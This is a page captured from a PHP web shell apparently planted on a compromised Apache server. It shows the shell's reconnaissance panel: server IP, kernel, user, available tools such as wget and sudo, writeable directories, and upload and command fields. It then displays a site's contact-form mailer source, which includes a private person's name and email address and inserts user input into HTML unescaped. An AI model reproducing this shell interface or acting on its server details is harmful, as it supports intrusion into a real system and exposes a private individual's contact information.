Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/retoaventura/modules/send/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/retoaventura/modules/send/contact_mail.php
<?php
if(!isset($db)){
include '../../config.php';
}
require_once SITE_ROOT.'/system/modules/vendor/swiftmailer/lib/swift_required.php';

$email=$db->escape($data['email']);
$name=$data['nombre'];
$text=$data['mensaje'];
 

if(function_exists('proc_open') && (defined('SMTP_SERVER'))){
//SMTP
$transport = Swift_SmtpTransport::newInstance(SMTP_SERVER, 25)
	//->setUsername(SMTP_USER)
  //->setPassword(SMTP_PASSWORD)
  ;
}
else{

// Mail
$transport = Swift_MailTransport::newInstance();
}

// Create the Mailer using your created Transport
$mailer = Swift_Mailer::newInstance($transport);

// AntiFlood with 30 secs interval
$mailer->registerPlugin(new Swift_Plugins_AntiFloodPlugin(100, 30));



$message = Swift_Message::newInstance()
->setSubject('Mensaje Reto Aventura en Linea')
->setFrom(array('noreplay@retoaventura.com' => 'Reto Aventura en Linea'))
->setTo(array($email => $name))
->setBcc(array('miguelf@intercable.net' => 'Miguel Fernandez del Valle'))
;


//Echo Logger
$logger = new Swift_Plugins_Loggers_EchoLogger();
$mailer->registerPlugin(new Swift_Plugins_LoggerPlugin($logger));

//BODY
$html_body='<tr bgcolor="#231E1A"><td style="padding:10px">'.
'<font size="4" color="#A89C9C" face="Arial">Nuevo mensaje Reto Aventura en linea <br />'.
'Nombre: '.$name.'<br />'.
'Email :'.$email.'<br />'.
'Mensaje:<br />'.
$text.

'</td>'.
'</tr>'
;
//include 'confirm_temp.php';
//Message BODY template
$message->setBody('<html>' .
' <head></head>' .
' <body bgcolor="#C89047">' .
' <table bgcolor="#C89047" width="600px;" align="center" cellpadding="0" cellspacing="0" ><tr bgcolor="#F13516">' .
' <td height="30" valign="top" align="center">' .

'	<font size="6" color="#FFFFFF" face="Arial" >Reto Aventura en Linea</font>' .   
' </td>' .
' </tr>' .
	$html_body .
'	</table>' .
' </body>' .
'</html>',
  'text/html');
  
// Send the message
$failedRecipients = array();
$numSent = 0;

$i=1;


	echo $i.'-'.$email.'/'.$name.'<br />';

 if (is_int($receiver['email'])) {
    $message->setTo($receiver['nombre']);
  } else {
    $message->setTo(array($receiver['email'] => $receiver['nombre']));
  }

  $numSent += $mailer->send($message, $failedRecipients);



//printf($failedRecipients);
print_r($message->getBody());
printf("Sent %d messages\n", $numSent);  
echo $logger->dump();

Youez - 2016 - github.com/yon3zu
LinuXploit